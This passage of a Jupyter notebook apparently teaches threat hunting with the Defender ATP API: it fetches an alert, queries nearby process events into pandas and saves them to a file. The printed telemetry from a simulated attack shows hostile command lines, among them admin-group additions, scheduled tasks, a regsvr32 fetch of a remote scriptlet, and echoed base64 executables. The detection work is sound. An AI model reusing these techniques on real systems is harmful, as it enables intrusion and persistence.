c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"28   c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\reg.exe                 1692   \\n\",\n       \"29                         c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"..                                                 ...                  ...   \\n\",\n       \"205                        c:\\\\windows\\\\system32\\\\net.exe                 3124   \\n\",\n       \"206                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"207                        c:\\\\windows\\\\system32\\\\net.exe                 6140   \\n\",\n       \"208                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"209                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"210                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"211                    c:\\\\windows\\\\system32\\\\svchost.exe                 1208   \\n\",\n       \"212  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\tomc...                 4236   \\n\",\n       \"213  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\tomc...                 4236   \\n\",\n       \"214                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"215                    c:\\\\windows\\\\system32\\\\svchost.exe                 1208   \\n\",\n       \"216  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\tomc...                 3004   \\n\",\n       \"217  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\tomc...                 3004   \\n\",\n       \"218                        c:\\\\windows\\\\system32\\\\net.exe                 4348   \\n\",\n       \"219                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"220                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"221                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"222  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\odbc...                 4512   \\n\",\n       \"223                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"224  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\odbc...                 5940   \\n\",\n       \"225                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"226  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\rund...                 4812   \\n\",\n       \"227                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"228  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\regs...                 6132   \\n\",\n       \"229                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"230                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"231                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"232  c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\asc_...                 5116   \\n\",\n       \"233                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"234                        c:\\\\windows\\\\system32\\\\cmd.exe                 4960   \\n\",\n       \"\\n\",\n       \"    InitiatingProcessIntegrityLevel          ...           pack_.LogonId  \\\\\\n\",\n       \"0                              High          ...                     NaN   \\n\",\n       \"1                              High          ...                     NaN   \\n\",\n       \"2                              High          ...                     NaN   \\n\",\n       \"3                              High          ...                     NaN   \\n\",\n       \"4                              High          ...                     NaN   \\n\",\n       \"5                              High          ...                     NaN   \\n\",\n       \"6                              High          ...                     NaN   \\n\",\n       \"7                              High          ...                     NaN   \\n\",\n       \"8                              High          ...                     NaN   \\n\",\n       \"9                              High          ...                     NaN   \\n\",\n       \"10                             High          ...                     NaN   \\n\",\n       \"11                             High          ...                     NaN   \\n\",\n       \"12                             High          ...                     NaN   \\n\",\n       \"13                             High          ...                     NaN   \\n\",\n       \"14                             High          ...                     NaN   \\n\",\n       \"15                             High          ...                     NaN   \\n\",\n       \"16                             High          ...                     NaN   \\n\",\n       \"17                           System          ...              16811055.0   \\n\",\n       \"18                             High          ...              16811055.0   \\n\",\n       \"19                             High          ...              16811055.0   \\n\",\n       \"20                             High          ...              16811055.0   \\n\",\n       \"21                             High          ...              16811055.0   \\n\",\n       \"22                             High          ...              16811055.0   \\n\",\n       \"23                             High          ...              16811055.0   \\n\",\n       \"24                             High          ...              16811055.0   \\n\",\n       \"25                             High          ...              16811055.0   \\n\",\n       \"26                             High          ...              16811055.0   \\n\",\n       \"27                             High          ...              16811055.0   \\n\",\n       \"28                             High          ...              16811055.0   \\n\",\n       \"29                             High          ...              16811055.0   \\n\",\n       \"..                              ...          ...                     ...   \\n\",\n       \"205                            High          ...              16811055.0   \\n\",\n       \"206                            High          ...              16811055.0   \\n\",\n       \"207                            High          ...              16811055.0   \\n\",\n       \"208                            High          ...              16811055.0   \\n\",\n       \"209                            High          ...              16811055.0   \\n\",\n       \"210                            High          ...              16811055.0   \\n\",\n       \"211                          System          ...                   999.0   \\n\",\n       \"212                          System          ...                   999.0   \\n\",\n       \"213                          System          ...                   999.0   \\n\",\n       \"214                            High          ...              16811055.0   \\n\",\n       \"215                          System          ...                   999.0   \\n\",\n       \"216                          System          ...                   999.0   \\n\",\n       \"217                          System          ...                   999.0   \\n\",\n       \"218                          System          ...                   999.0   \\n\",\n       \"219                            High          ...              16811055.0   \\n\",\n       \"220                            High          ...              16811055.0   \\n\",\n       \"221                            High          ...              16811055.0   \\n\",\n       \"222                            High          ...              16811055.0   \\n\",\n       \"223                            High          ...              16811055.0   \\n\",\n       \"224                            High          ...              16811055.0   \\n\",\n       \"225                            High          ...              16811055.0   \\n\",\n       \"226                            High          ...              16811055.0   \\n\",\n       \"227                            High          ...              16811055.0   \\n\",\n       \"228                            High          ...              16811055.0   \\n\",\n       \"229                            High          ...              16811055.0   \\n\",\n       \"230                            High          ...              16811055.0   \\n\",\n       \"231                            High          ...              16811055.0   \\n\",\n       \"232                            High          ...              16811055.0   \\n\",\n       \"233                            High          ...              16811055.0   \\n\",\n       \"234                            High          ...              16811055.0   \\n\",\n       \"\\n\",\n       \"                            pack_.MD5  \\\\\\n\",\n       \"0    69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"1    2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"2    1ba79a1aad55d1a21114d46ec5cc9f56   \\n\",\n       \"3    558d69e83dbb77e85d4ee0f59b4231e7   \\n\",\n       \"4    2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"5    69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"6    69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"7    69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"8    1ba79a1aad55d1a21114d46ec5cc9f56   \\n\",\n       \"9    2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"10   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"11   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"12   2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"13   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"14   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"15   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"16   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"17   2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"18   b5e688d267a6160c42ca7ff7d05c8e1c   \\n\",\n       \"19   2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"20   2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"21   2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"22   2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"23   2e25b04eee4844b479dace1179591331   \\n\",\n       \"24   2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"25   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"26   6361e5dfefab7d9045e8b2ecf1446d20   \\n\",\n       \"27   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"28   6361e5dfefab7d9045e8b2ecf1446d20   \\n\",\n       \"29   69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"..                                ...   \\n\",\n       \"205  9ee00829630656b825efdff74cb9b7ea   \\n\",\n       \"206  558d69e83dbb77e85d4ee0f59b4231e7   \\n\",\n       \"207  9ee00829630656b825efdff74cb9b7ea   \\n\",\n       \"208  00b0d30687e109ad5d3b0148f376689b   \\n\",\n       \"209  00b0d30687e109ad5d3b0148f376689b   \\n\",\n       \"210  00b0d30687e109ad5d3b0148f376689b   \\n\",\n       \"211  2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"212  b5e688d267a6160c42ca7ff7d05c8e1c   \\n\",\n       \"213  0c25df053b382d775b775f5d1159f06d   \\n\",\n       \"214  00b0d30687e109ad5d3b0148f376689b   \\n\",\n       \"215  2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"216  b5e688d267a6160c42ca7ff7d05c8e1c   \\n\",\n       \"217  558d69e83dbb77e85d4ee0f59b4231e7   \\n\",\n       \"218  9ee00829630656b825efdff74cb9b7ea   \\n\",\n       \"219  00b0d30687e109ad5d3b0148f376689b   \\n\",\n       \"220  00b0d30687e109ad5d3b0148f376689b   \\n\",\n       \"221  69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"222  6361e5dfefab7d9045e8b2ecf1446d20   \\n\",\n       \"223  69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"224  6361e5dfefab7d9045e8b2ecf1446d20   \\n\",\n       \"225  69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"226  6361e5dfefab7d9045e8b2ecf1446d20   \\n\",\n       \"227  69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"228  6361e5dfefab7d9045e8b2ecf1446d20   \\n\",\n       \"229  75b250e858e5cdb47b6e5d796f6b783f   \\n\",\n       \"230  69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"231  2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"232  6361e5dfefab7d9045e8b2ecf1446d20   \\n\",\n       \"233  2a904387c6831d0ffdd877e35ef02d56   \\n\",\n       \"234  69693c99966f1bced41e2f392e7bd807   \\n\",\n       \"\\n\",\n       \"                              pack_.ProcessCommandLine  \\\\\\n\",\n       \"0                                                  NaN   \\n\",\n       \"1                                                  NaN   \\n\",\n       \"2                                                  NaN   \\n\",\n       \"3                                                  NaN   \\n\",\n       \"4                                                  NaN   \\n\",\n       \"5                                                  NaN   \\n\",\n       \"6                                                  NaN   \\n\",\n       \"7                                                  NaN   \\n\",\n       \"8                                                  NaN   \\n\",\n       \"9                                                  NaN   \\n\",\n       \"10                                                 NaN   \\n\",\n       \"11                                                 NaN   \\n\",\n       \"12                                                 NaN   \\n\",\n       \"13                                                 NaN   \\n\",\n       \"14                                                 NaN   \\n\",\n       \"15                                                 NaN   \\n\",\n       \"16                                                 NaN   \\n\",\n       \"17   cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...   \\n\",\n       \"18                     conhost.exe 0xffffffff -ForceV1   \\n\",\n       \"19   cmd  /c echo Any questions about the commands ...   \\n\",\n       \"20   cmd  /c echo timb@microsoft.com; romead@micros...   \\n\",\n       \"21                                   cmd.exe /c date/T   \\n\",\n       \"22                         cmd.exe /c echo 12:00:00.89   \\n\",\n       \"23   eventcreate  /T Information /ID 0000 /L System...   \\n\",\n       \"24   cmd  /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...   \\n\",\n       \"25      rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe    \\n\",\n       \"26                                    \\\"win32calc.exe\\\"    \\n\",\n       \"27   reg  add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Contro...   \\n\",\n       \"28                                    \\\"win32calc.exe\\\"    \\n\",\n       \"29   reg  add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Contro...   \\n\",\n       \"..                                                 ...   \\n\",\n       \"205        net1  localgroup administrators guest /add    \\n\",\n       \"206  net.exe  localgroup administrators guest /dele...   \\n\",\n       \"207    net1  localgroup administrators guest /delete     \\n\",\n       \"208  schtasks   /CREATE /TN \\\"MSTIC_Tomcat_TEST1\\\" /R...   \\n\",\n       \"209  schtasks   /CREATE /TN \\\"MSTIC_Tomcat_TEST2\\\" /R...   \\n\",\n       \"210     schtasks   /RUN /I /TN \\\"MSTIC_Tomcat_TEST1\\\"      \\n\",\n       \"211                         tomcat9.exe /c svchost.exe   \\n\",\n       \"212                    conhost.exe 0xffffffff -ForceV1   \\n\",\n       \"213                                        svchost.exe   \\n\",\n       \"214     schtasks   /RUN /I /TN \\\"MSTIC_Tomcat_TEST2\\\"      \\n\",\n       \"215                       tomcat9.exe /c net user /add   \\n\",\n       \"216                    conhost.exe 0xffffffff -ForceV1   \\n\",\n       \"217                                     net  user /add   \\n\",\n       \"218                                    net1  user /add   \\n\",\n       \"219   schtasks   /DELETE /TN \\\"MSTIC_Tomcat_TEST1\\\" /F     \\n\",\n       \"220   schtasks   /DELETE /TN \\\"MSTIC_Tomcat_TEST2\\\" /F     \\n\",\n       \"221  odbcconf.exe  /S /A {REGSVR C:\\\\Users\\\\Administr...   \\n\",\n       \"222                                   \\\"win32calc.exe\\\"    \\n\",\n       \"223                         odbcconf.exe  /f my.rspÃ¡Ã¡    \\n\",\n       \"224                                   \\\"win32calc.exe\\\"    \\n\",\n       \"225  rundll32.exe  /C mshtml,RunHTMLApplication jav...   \\n\",\n       \"226                                   \\\"win32calc.exe\\\"    \\n\",\n       \"227  regsvr32   /s /n /u /i:http://server/file.sct ...   \\n\",\n       \"228                                   \\\"win32calc.exe\\\"    \\n\",\n       \"229                                     at.exe  b64::    \\n\",\n       \"230               \\\"ASC_Alerttest_662jfi039n.exe\\\"  -foo   \\n\",\n       \"231  cmd  /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAA...   \\n\",\n       \"232                                   \\\"win32calc.exe\\\"    \\n\",\n       \"233  cmd  /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...   \\n\",\n       \"234  cacls.exe  c:\\\\windows\\\\system32\\\\wscript.exe /e ...   \\n\",\n       \"\\n\",\n       \"        pack_.ProcessCreationTime pack_.ProcessId pack_.ProcessIntegrityLevel  \\\\\\n\",\n       \"0                             NaN             NaN                         NaN   \\n\",\n       \"1                             NaN             NaN                         NaN   \\n\",\n       \"2                             NaN             NaN                         NaN   \\n\",\n       \"3                             NaN             NaN                         NaN   \\n\",\n       \"4                             NaN             NaN                         NaN   \\n\",\n       \"5                             NaN             NaN                         NaN   \\n\",\n       \"6                             NaN             NaN                         NaN   \\n\",\n       \"7                             NaN             NaN                         NaN   \\n\",\n       \"8                             NaN             NaN                         NaN   \\n\",\n       \"9                             NaN             NaN                         NaN   \\n\",\n       \"10                            NaN             NaN                         NaN   \\n\",\n       \"11                            NaN             NaN                         NaN   \\n\",\n       \"12                            NaN             NaN                         NaN   \\n\",\n       \"13                            NaN             NaN                         NaN   \\n\",\n       \"14                            NaN             NaN                         NaN   \\n\",\n       \"15                            NaN             NaN                         NaN   \\n\",\n       \"16                            NaN             NaN                         NaN   \\n\",\n       \"17   2018-11-29T12:00:00.5549899Z          4960.0                        High   \\n\",\n       \"18   2018-11-29T12:00:00.5698921Z          4248.0                        High   \\n\",\n       \"19   2018-11-29T12:00:00.7751007Z          4728.0                        High   \\n\",\n       \"20   2018-11-29T12:00:00.8201255Z          1952.0                        High   \\n\",\n       \"21   2018-11-29T12:00:00.8550543Z          2148.0                        High   \\n\",\n       \"22   2018-11-29T12:00:00.9075513Z          5060.0                        High   \\n\",\n       \"23   2018-11-29T12:00:01.1873832Z          5248.0                        High   \\n\",\n       \"24   2018-11-29T12:00:02.5960320Z          5828.0                        High   \\n\",\n       \"25   2018-11-29T12:00:02.7109900Z          2764.0                        High   \\n\",\n       \"26   2018-11-29T12:00:03.0354577Z          2444.0                        High   \\n\",\n       \"27   2018-11-29T12:00:03.2488945Z          1692.0                        High   \\n\",\n       \"28   2018-11-29T12:00:03.5463146Z           980.0                        High   \\n\",\n       \"29   2018-11-29T12:00:03.6694160Z          2324.0                        High   \\n\",\n       \"..                            ...             ...                         ...   \\n\",\n       \"205  2018-11-29T12:01:07.9288366Z          5204.0                        High   \\n\",\n       \"206  2018-11-29T12:01:08.0641732Z          6140.0                        High   \\n\",\n       \"207  2018-11-29T12:01:08.0988361Z           940.0                        High   \\n\",\n       \"208  2018-11-29T12:01:08.3383606Z          5752.0                        High   \\n\",\n       \"209  2018-11-29T12:01:08.5478805Z           412.0                        High   \\n\",\n       \"210  2018-11-29T12:01:08.7617393Z          3616.0                        High   \\n\",\n       \"211  2018-11-29T12:01:08.9932028Z          4236.0                      System   \\n\",\n       \"212  2018-11-29T12:01:09.0059852Z           304.0                      System   \\n\",\n       \"213  2018-11-29T12:01:09.0975180Z          2224.0                      System   \\n\",\n       \"214  2018-11-29T12:01:09.1317335Z          4328.0                        High   \\n\",\n       \"215  2018-11-29T12:01:09.1748125Z          3004.0                      System   \\n\",\n       \"216  2018-11-29T12:01:09.1881464Z          1800.0                      System   \\n\",\n       \"217  2018-11-29T12:01:09.2866227Z          4348.0                      System   \\n\",\n       \"218  2018-11-29T12:01:09.3103533Z          3032.0                      System   \\n\",\n       \"219  2018-11-29T12:01:09.3944280Z          1784.0                        High   \\n\",\n       \"220  2018-11-29T12:01:09.4580704Z          2496.0                        High   \\n\",\n       \"221  2018-11-29T12:01:09.5214629Z          4512.0                        High   \\n\",\n       \"222  2018-11-29T12:01:09.7190546Z          1528.0                        High   \\n\",\n       \"223  2018-11-29T12:01:09.8787418Z          5940.0                        High   \\n\",\n       \"224  2018-11-29T12:01:10.0495450Z          4792.0                        High   \\n\",\n       \"225  2018-11-29T12:01:10.1979590Z          4812.0                        High   \\n\",\n       \"226  2018-11-29T12:01:10.3841257Z          2540.0                        High   \\n\",\n       \"227  2018-11-29T12:01:10.5014578Z          6132.0                        High   \\n\",\n       \"228  2018-11-29T12:01:10.7244624Z          4664.0                        High   \\n\",\n       \"229  2018-11-29T12:01:10.8742404Z          5360.0                        High   \\n\",\n       \"230  2018-11-29T12:01:11.0555301Z          5116.0                        High   \\n\",\n       \"231  2018-11-29T12:01:11.4735974Z          4124.0                        High   \\n\",\n       \"232  2018-11-29T12:01:11.5293403Z          5288.0                        High   \\n\",\n       \"233  2018-11-29T12:01:11.7646622Z          1016.0                        High   \\n\",\n       \"234  2018-11-29T12:01:11.8473061Z          5144.0                        High   \\n\",\n       \"\\n\",\n       \"    pack_.ProcessTokenElevation                                pack_.SHA1  \\\\\\n\",\n       \"0                           NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"1                           NaN  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"2                           NaN  4565766792d2562b01b8407ad7f369195f4830a4   \\n\",\n       \"3                           NaN  c4613d0f849a1c577db3117229f4b6b001ff626c   \\n\",\n       \"4                           NaN  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"5                           NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"6                           NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"7                           NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"8                           NaN  4565766792d2562b01b8407ad7f369195f4830a4   \\n\",\n       \"9                           NaN  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"10                          NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"11                          NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"12                          NaN  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"13                          NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"14                          NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"15                          NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"16                          NaN  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"17    TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"18    TokenElevationTypeDefault  abc8783c6514a1e562a01de7ae053c14d01c9c30   \\n\",\n       \"19    TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"20    TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"21    TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"22    TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"23    TokenElevationTypeDefault  e0da2c7a03dc21cd801991b421c59b038afea75d   \\n\",\n       \"24    TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"25    TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"26    TokenElevationTypeDefault  1aebeceb74a967d7d7f8481575afdd966fdb87bb   \\n\",\n       \"27    TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"28    TokenElevationTypeDefault  1aebeceb74a967d7d7f8481575afdd966fdb87bb   \\n\",\n       \"29    TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"..                          ...                                       ...   \\n\",\n       \"205   TokenElevationTypeDefault  cc6298e64d690fd34a6ca71fe3cbd226cd8488da   \\n\",\n       \"206   TokenElevationTypeDefault  c4613d0f849a1c577db3117229f4b6b001ff626c   \\n\",\n       \"207   TokenElevationTypeDefault  cc6298e64d690fd34a6ca71fe3cbd226cd8488da   \\n\",\n       \"208   TokenElevationTypeDefault  f56ae496dfa93eb6ecc9fb579f963082f80fe137   \\n\",\n       \"209   TokenElevationTypeDefault  f56ae496dfa93eb6ecc9fb579f963082f80fe137   \\n\",\n       \"210   TokenElevationTypeDefault  f56ae496dfa93eb6ecc9fb579f963082f80fe137   \\n\",\n       \"211   TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"212   TokenElevationTypeDefault  abc8783c6514a1e562a01de7ae053c14d01c9c30   \\n\",\n       \"213   TokenElevationTypeDefault  195f49c4169bc18283ba51a4529e037785c555f4   \\n\",\n       \"214   TokenElevationTypeDefault  f56ae496dfa93eb6ecc9fb579f963082f80fe137   \\n\",\n       \"215   TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"216   TokenElevationTypeDefault  abc8783c6514a1e562a01de7ae053c14d01c9c30   \\n\",\n       \"217   TokenElevationTypeDefault  c4613d0f849a1c577db3117229f4b6b001ff626c   \\n\",\n       \"218   TokenElevationTypeDefault  cc6298e64d690fd34a6ca71fe3cbd226cd8488da   \\n\",\n       \"219   TokenElevationTypeDefault  f56ae496dfa93eb6ecc9fb579f963082f80fe137   \\n\",\n       \"220   TokenElevationTypeDefault  f56ae496dfa93eb6ecc9fb579f963082f80fe137   \\n\",\n       \"221   TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"222   TokenElevationTypeDefault  1aebeceb74a967d7d7f8481575afdd966fdb87bb   \\n\",\n       \"223   TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"224   TokenElevationTypeDefault  1aebeceb74a967d7d7f8481575afdd966fdb87bb   \\n\",\n       \"225   TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"226   TokenElevationTypeDefault  1aebeceb74a967d7d7f8481575afdd966fdb87bb   \\n\",\n       \"227   TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"228   TokenElevationTypeDefault  1aebeceb74a967d7d7f8481575afdd966fdb87bb   \\n\",\n       \"229   TokenElevationTypeDefault  71cbd3401d15df95367e86c7dd5c067d8779f697   \\n\",\n       \"230   TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"231   TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"232   TokenElevationTypeDefault  1aebeceb74a967d7d7f8481575afdd966fdb87bb   \\n\",\n       \"233   TokenElevationTypeDefault  d520ad2ee2ab194e2fa2ae1733f273781b44d83c   \\n\",\n       \"234   TokenElevationTypeDefault  8bf2d880a885cf992f14856567b72f1a35806ca9   \\n\",\n       \"\\n\",\n       \"     pack_.SHA256                source_  \\n\",\n       \"0                     FileCreationEvents  \\n\",\n       \"1                     FileCreationEvents  \\n\",\n       \"2                     FileCreationEvents  \\n\",\n       \"3                     FileCreationEvents  \\n\",\n       \"4                     FileCreationEvents  \\n\",\n       \"5                     FileCreationEvents  \\n\",\n       \"6                     FileCreationEvents  \\n\",\n       \"7                     FileCreationEvents  \\n\",\n       \"8                     FileCreationEvents  \\n\",\n       \"9                     FileCreationEvents  \\n\",\n       \"10                    FileCreationEvents  \\n\",\n       \"11                    FileCreationEvents  \\n\",\n       \"12                    FileCreationEvents  \\n\",\n       \"13                    FileCreationEvents  \\n\",\n       \"14                    FileCreationEvents  \\n\",\n       \"15                    FileCreationEvents  \\n\",\n       \"16                    FileCreationEvents  \\n\",\n       \"17                 ProcessCreationEvents  \\n\",\n       \"18                 ProcessCreationEvents  \\n\",\n       \"19                 ProcessCreationEvents  \\n\",\n       \"20                 ProcessCreationEvents  \\n\",\n       \"21                 ProcessCreationEvents  \\n\",\n       \"22                 ProcessCreationEvents  \\n\",\n       \"23                 ProcessCreationEvents  \\n\",\n       \"24                 ProcessCreationEvents  \\n\",\n       \"25                 ProcessCreationEvents  \\n\",\n       \"26                 ProcessCreationEvents  \\n\",\n       \"27                 ProcessCreationEvents  \\n\",\n       \"28                 ProcessCreationEvents  \\n\",\n       \"29                 ProcessCreationEvents  \\n\",\n       \"..            ...                    ...  \\n\",\n       \"205                ProcessCreationEvents  \\n\",\n       \"206                ProcessCreationEvents  \\n\",\n       \"207                ProcessCreationEvents  \\n\",\n       \"208                ProcessCreationEvents  \\n\",\n       \"209                ProcessCreationEvents  \\n\",\n       \"210                ProcessCreationEvents  \\n\",\n       \"211                ProcessCreationEvents  \\n\",\n       \"212                ProcessCreationEvents  \\n\",\n       \"213                ProcessCreationEvents  \\n\",\n       \"214                ProcessCreationEvents  \\n\",\n       \"215                ProcessCreationEvents  \\n\",\n       \"216                ProcessCreationEvents  \\n\",\n       \"217                ProcessCreationEvents  \\n\",\n       \"218                ProcessCreationEvents  \\n\",\n       \"219                ProcessCreationEvents  \\n\",\n       \"220                ProcessCreationEvents  \\n\",\n       \"221                ProcessCreationEvents  \\n\",\n       \"222                ProcessCreationEvents  \\n\",\n       \"223                ProcessCreationEvents  \\n\",\n       \"224                ProcessCreationEvents  \\n\",\n       \"225                ProcessCreationEvents  \\n\",\n       \"226                ProcessCreationEvents  \\n\",\n       \"227                ProcessCreationEvents  \\n\",\n       \"228                ProcessCreationEvents  \\n\",\n       \"229                ProcessCreationEvents  \\n\",\n       \"230                ProcessCreationEvents  \\n\",\n       \"231                ProcessCreationEvents  \\n\",\n       \"232                ProcessCreationEvents  \\n\",\n       \"233                ProcessCreationEvents  \\n\",\n       \"234                ProcessCreationEvents  \\n\",\n       \"\\n\",\n       \"[235 rows x 39 columns]\"\n      ]\n     },\n     \"execution_count\": 52,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"#get the most recent alert\\n\",\n    \"alert_df = wdatp_api.alerts(filterstr= '$top=1&$skip=10')\\n\",\n    \"\\n\",\n    \"print(\\\"title: %s\\\\ncategory: %s\\\\nalert id: %s\\\" % (alert_df.title.values[0], alert_df.category.values[0], alert_df.id.values[0]))\\n\",\n    \"\\n\",\n    \"# build a hunting query that gets data around the time of the alert\\n\",\n    \"get_records_qry = '''\\n\",\n    \"let alertId = \\\"%s\\\";\\n\",\n    \"let alert = AlertEvents | where AlertId == alertId | summarize AlertFirstEventTime=min(EventTime) by MachineId;\\n\",\n    \"let machineId = toscalar(alert | project MachineId);\\n\",\n    \"let timestamp = toscalar(alert | project AlertFirstEventTime);\\n\",\n    \"let lookupPeriod = 10m;\\n\",\n    \"find in (ProcessCreationEvents, NetworkCommunicationEvents, FileCreationEvents) \\n\",\n    \"where EventTime between ((timestamp - lookupPeriod) .. lookupPeriod)\\n\",\n    \"        and MachineId == machineId\\n\",\n    \"| project-away ComputerName, InitiatingProcessAccountDomain, InitiatingProcessAccountSid // demo env only\\n\",\n    \"| take 1000\\n\",\n    \"''' % (alert_df.id.values[0])\\n\",\n    \"\\n\",\n    \"related_data_df = wdatp_api.query(query=get_records_qry)\\n\",\n    \"print (\\\"Number of records found %d\\\" % len(related_data_df))\\n\",\n    \"related_data_df \"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Saving results to a file\\n\",\n    \"\\n\",\n    \"Pandas also has ways to easily save a data frame to a CSV, TSV, Excel, etc.  If you have Excel as a handler of tab delimited files, this should launch Excel\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 53,\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# save to TSV and launch\\n\",\n    \"import os\\n\",\n    \"\\n\",\n    \"filepath = os.environ.get('AppData') + '\\\\\\\\alert_data.tsv'\\n\",\n    \"\\n\",\n    \"related_data_df.to_csv(filepath, sep='\\\\t')\\n\",\n    \"\\n\",\n    